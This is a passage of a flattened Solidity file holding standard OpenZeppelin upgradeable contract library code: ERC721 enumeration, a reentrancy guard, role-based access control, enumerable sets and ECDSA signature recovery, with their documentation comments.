Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721Upgradeable.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[46] private __gap; } // File @openzeppelin/contracts-upgradeable/security/[email protected] // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // File @openzeppelin/contracts-upgradeable/access/[email protected] // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File @openzeppelin/contracts-upgradeable/access/[email protected] // OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // File @openzeppelin/contracts-upgradeable/access/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // File @openzeppelin/contracts-upgradeable/utils/structs/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // File @openzeppelin/contracts-upgradeable/access/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal onlyInitializing { } function __AccessControlEnumerable_init_unchained() internal onlyInitializing { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view virtual override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view virtual override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // File @openzeppelin/contracts/utils/cryptography/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. 